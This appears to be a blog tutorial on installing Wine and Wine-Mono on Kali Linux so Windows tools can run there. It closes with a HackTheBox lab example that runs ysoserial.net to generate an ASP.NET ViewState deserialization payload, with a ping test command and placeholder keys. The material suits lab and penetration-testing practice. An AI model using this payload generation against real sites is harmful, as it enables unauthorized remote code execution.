Installing Wine and Wine Dependencies
Considerations
I urge you to consider taking a snapshot of your Kali instance at its current state before installing Wine. That way you can easily roll it back in case anything goes wrong with the install or you're unhappy with the performance.
Install Wine
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install -y wine wine64 wine32:i386 winetricks mono-complete
Installing Wine-Mono
Check Wine Version
wine --version
Cross-Reference Wine-Mono Wiki
Then, reference the Mono Wiki to find the correct version of Wine-Mono to install: https://gitlab.winehq.org/wine/wine/-/wikis/Wine-Mono#versions.
For example, if you're running wine-8.0.1 and the version table shows the latest version is for wine-8.9 and the previous version is for wine-7.20, then you should download the Wine-Mono package for the version that is less than or equal to your version of wine. In this case, you'd download Wine-Mono for wine-7.20, since you're not at wine-8.9.
# Replace x.x.x with the correct version
wget https://dl.winehq.org/wine/wine-mono/x.x.x/wine-mono-x.x.x-x86.msi
# Run wine uninstaller and load the .msi file
wine uninstaller
- After running
wine uninstaller, click Install - Then, choose your
.msifile and click OK
If you get error wine: could not load kernel32.dll, status c0000135, just run rm -rf ~/.wine/. Then, re-run wine uninstaller.
Running 64-bit Wine
WINEARCH=win64 WINEPREFIX="${HOME}/.wine64" wine cmd.exe
Launch cmd.exe with 64-bit support
WINEARCH=win64 WINEPREFIX="${HOME}/.wine64" wine explorer.exe
Launch explorer.exe (GUI) with 64-bit support
Usage Example
YSoSerial.net
Recently, I've worked on a few HackTheBox lab machines that required generating some payloads using ysoserial. I didn't want to spin up a Windows VM and didn't have one on standby. I also didn't want to run ysoserial on my Windows host machine, so I turned to Wine on Kali Linux.
Project GitHub: https://github.com/pwntester/ysoserial.net
Install .NET Libraries
winetricks dotnet48
This installation process takes several minutes and requires you to click through several prompts. So, don't walk away during this installation process.
Example Command
Running ysoserial with wine is pretty trivial, but I did notice some anomalies with the output that required a little bit of tinkering. Ultimately, this is a command that worked in my operating environment.
wget https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip -O ysoserial.zip
unzip -d ysoserial ysoserial.zip
cd ysoserial/Release
# 2>/dev/null : Because wine was creating some weird error output that interfered with the payload
# sed s/\n//g' : Join on line breaks, not sure if wine is creating them
LD_PRELOAD= wine ./ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "ping 10.10.14.15" \
--path="/portfolio/default.aspx" --apppath="/" \
--decryptionalg="AES" \
--decryptionkey="INSERT_AES_KEY_HERE" \
--validationalg="SHA1" \
--validationkey="INSERT_VALIDATION_KEY_HERE" 2>/dev/null | sed 's/\n//g'